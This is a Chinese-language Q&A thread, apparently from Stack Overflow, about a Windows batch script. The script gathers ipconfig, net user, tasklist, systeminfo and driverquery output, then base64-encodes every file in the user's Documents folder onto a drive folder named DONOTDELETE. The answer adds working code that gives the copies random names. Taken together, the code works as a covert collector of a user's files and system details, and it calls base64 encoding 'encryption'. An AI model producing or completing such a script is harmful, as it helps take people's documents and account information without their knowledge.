批量重命名文件 -

时间:2016-01-14 02:29:28

标签: batch-file

我正在尝试创建一个程序来收集一些文档和数据,重命名它们,加密它们并将它们存储在可移动磁盘上。虽然我找到了收集文档并加密文档的方法,但我还没有确定如何重命名所有文档。优选地,文档的名称将是随机生成的字符串。

我目前的代码如下:

@echo off
color a
ipconfig > D:\DONOTDELETE\DONOTDELETE\ip.txt
net user > D:\DONOTDELETE\DONOTDELETE\users.txt
tasklist > D:\DONOTDELETE\DONOTDELETE\tasks.txt
systeminfo > D:\DONOTDELETE\DONOTDELETE\info.txt
driverquery > D:\DONOTDELETE\DONOTDELETE\drivers.txt
timeout 1
for %%F in ("%userprofile%\Documents\*") do certutil -encode "%%F"  "D:\DONOTDELETE\DONOTDELETE\%%~nxF"

我希望将从Documents文件夹复制的文件重命名,以便它们是随机字符串。

我试图将文件重命名为随机字符串。我的主要问题是我是一个可怕的程序员,经过大约一个小时的谷歌搜索和搜索堆栈溢出后,我无法找到解决问题的方法。

使用建议的代码,我收到以下错误。

错误报告 -

DecodeFile返回数据无效。 0x8007000d

CertUtil -encode命令失败:0x8007000d

CertUtil数据无效。

1 个答案:

答案 0 :(得分:0)

我认为这就是你要做的事情:

@echo off
setlocal EnableDelayedExpansion
color a
ipconfig > D:\DONOTDELETE\DONOTDELETE\ip.txt
net user > D:\DONOTDELETE\DONOTDELETE\users.txt
tasklist > D:\DONOTDELETE\DONOTDELETE\tasks.txt
systeminfo > D:\DONOTDELETE\DONOTDELETE\info.txt
driverquery > D:\DONOTDELETE\DONOTDELETE\drivers.txt
timeout 1
for %%F in ("%userprofile%\Documents\*") do (
call :randomString newfilename 20
certutil -encode "%%F"  "D:\DONOTDELETE\DONOTDELETE\!newfilename!%%~xF"
)
goto :eof

:randomString
set length=%2
set CHARS=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
echo %CHARS%>x&for %%? in (x) do set /a strlength=%%~z? - 2&del x
for /L %%a in (1 1 %length%) do (
set /a randnr=!random!%%!strlength!
for /l %%n in (!randnr! 1 !randnr!) do set "line=!line!!CHARS:~%%n,1!"
)
set %1=%line%
goto :eof